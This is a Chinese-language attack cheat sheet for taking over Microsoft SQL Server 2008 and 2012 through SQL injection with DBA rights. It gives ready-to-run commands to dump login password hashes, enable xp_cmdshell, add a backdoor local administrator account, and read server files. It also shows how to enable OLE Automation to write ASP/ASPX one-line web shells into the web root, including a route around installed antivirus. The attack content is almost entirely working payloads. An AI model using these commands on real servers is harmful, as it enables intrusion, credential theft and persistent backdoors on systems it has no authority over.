条件：数据库权限必须是dba权限 可利用sql-shll进行命令执行，部分常用ql语句：

查看版本：SELECT @@version
查看连接用户：
 SELECT ORIGINAL_LOGIN(),APP_NAME(), CONNECTIONPROPERTY('CLIENT_NET_ADDRESS') , CONNECTIONPROPERTY('PROTOCOL_TYPE')
 查询所有数据库名称
select name from master.dbo.sysdatabases;
查看用户hash：
select name,sys.fn_varbintohexstr(password_hash) from sys.sql_logins
查看数据库账号密码：
select name,sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins;
查看数据库中表名：
SELECT SysObjects.name AS Tablename FROM sysobjects WHERE xtype = 'U' and sysstat<200
exec xp_dirtree 'c:'        # 列出所有c:\文件、目录、子目录exec xp_dirtree 'c:',1      # 只列c:\目录
exec xp_dirtree 'c:',1,1    # 列c:\目录、文件
exec xp_subdirs 'C:';       # 只列c:\目录
select is_srvrolemember('sysadmin') # 判断是否是SA权限
select is_member('db_owner')        # 判断是否是db_owner权限
select is_srvrolemember('public')   # 判断是否是public权限
创建用户：
exec master..xp_cmdshell "net user test12 123.com add"
exec master..xp_cmdshell "net localgroup administrators test12 add"
exec master..xp_cmdshell "net user test12"
读取文档内容
create table files(line varchar(1024))
bulk insert  files from 'C:\inetpub\aa.asp'
select * from files

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

1.1针对sqlserver2008测试

1.1 当前用户不是dba

在当前用户不为dba情况，利用sqlmap执行os-shell，提示如下：

1.2 当前用户为dba

在进行注入时，如果当前用户为dba，可尝试利用如下命令手动开启xpcmd_shell

EXEC sp_configure 'show advanced options', 1; 
RECONFIGURE; 
EXEC sp_configure 'xp_cmdshell', 1; 
RECONFIGURE;

接下来分析下sqlmap如何去检测和开启xp_cmdshell,通过抓取数据包发现，开启cmdshell命令如下：

;EXEC master..sp_configure 'SHOW advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'xp_cmdshell',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'SHOW advanced options',0; RECONFIGURE WITH OVERRIDE--

当尝试利用os-shell无法开启时，可尝试利用sql-shell开启，xpcmd_shell，本次在测试时发现，直接在sql-shell中执行上述4条开启的语句无法开启成功，可尝试拼接sql语句进行开启

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';EXEC master..sp_configure 'SHOW advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'xp_cmdshell',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'SHOW advanced options',0; RECONFIGURE WITH OVERRIDE--

select host_name();             //主机名
select @@servername;            //服务器名
//如果相同则代表数据库和web在同一台机器上面

1.3 xpcmd_shell为什么无法执行命令

EXEC sp_configure 'show advanced options', 1; 
RECONFIGURE WITH OVERRIDE; 
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE; 
EXEC sp_configure 'show advanced options', 0;

利用文件存储先写入文件：

declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\aa.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("a"))%>' 

execute master..xp_dirtree 'c:/inetpub/test/',1,1

CREATE TABLE tmp (dir varchar(8000),num int,num1 int);insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;

CREATE TABLE tmp (dir varchar(8000),num int,num1 int);insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:/inetpub/',1,1;

EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'show advanced options', 0;

写入shell脚本：

declare @f int,@g int;exec sp_oacreate 'Scripting.FileSystemObject',@f output;EXEC SP_OAMETHOD @f,'CreateTextFile',@f OUTPUT,'c:\inetpub\test\test.aspx',1;EXEC sp_oamethod  @f,'WriteLine',null,'<%@ Page Language="Jscript"%><%var a = "un";var b = "safe";Response.Write(eval(Request.Item["z"],a%2Bb));%>'

1.2 sqlserver 2012测试

之前验证了sqlserver 2008如何通过sql注入获取系统shell，主要是通过调用xpcmd_shell，但是当服务器上存在杀毒软件时无法进行开启，此时可尝试sql-shell，寻找网站目录，然后写入一句话木马的方式，只是写入的shell权限比较低，接下来尝试利用sqlserver2012进行测试。

1.2.1 无杀软执行xpcmd_shell

1.2.2绕过杀软上传shell

主机上安装360，直接通过sqlmap执行os-shell会被拦截，尝试sql-shell进行命令执行，步骤和2008大致基本相同，先通过xp_dirtree慢慢找到网站路径，在开启sp_OACreate，最后写入shell。

declare @o int, @f int, @t int, @ret int;exec sp_oacreate 'scripting.filesystemobject', @o out;exec sp_oamethod @o,'createtextfile', @f out, 'e:\test\123.asp', 1;exec @ret = sp_oamethod @f, 'writeline', NULL,'<%@ Page Language="Jscript"%><%var a = "un";var b = "safe";Response.Write(eval(Request.Item["z"],a%2Bb));%>' 

可尝试利用判断是否写入成功

create table sssss (line varchar(1024))；bulk insert  sssss from 'e:\test\123.asp'；select * from sssss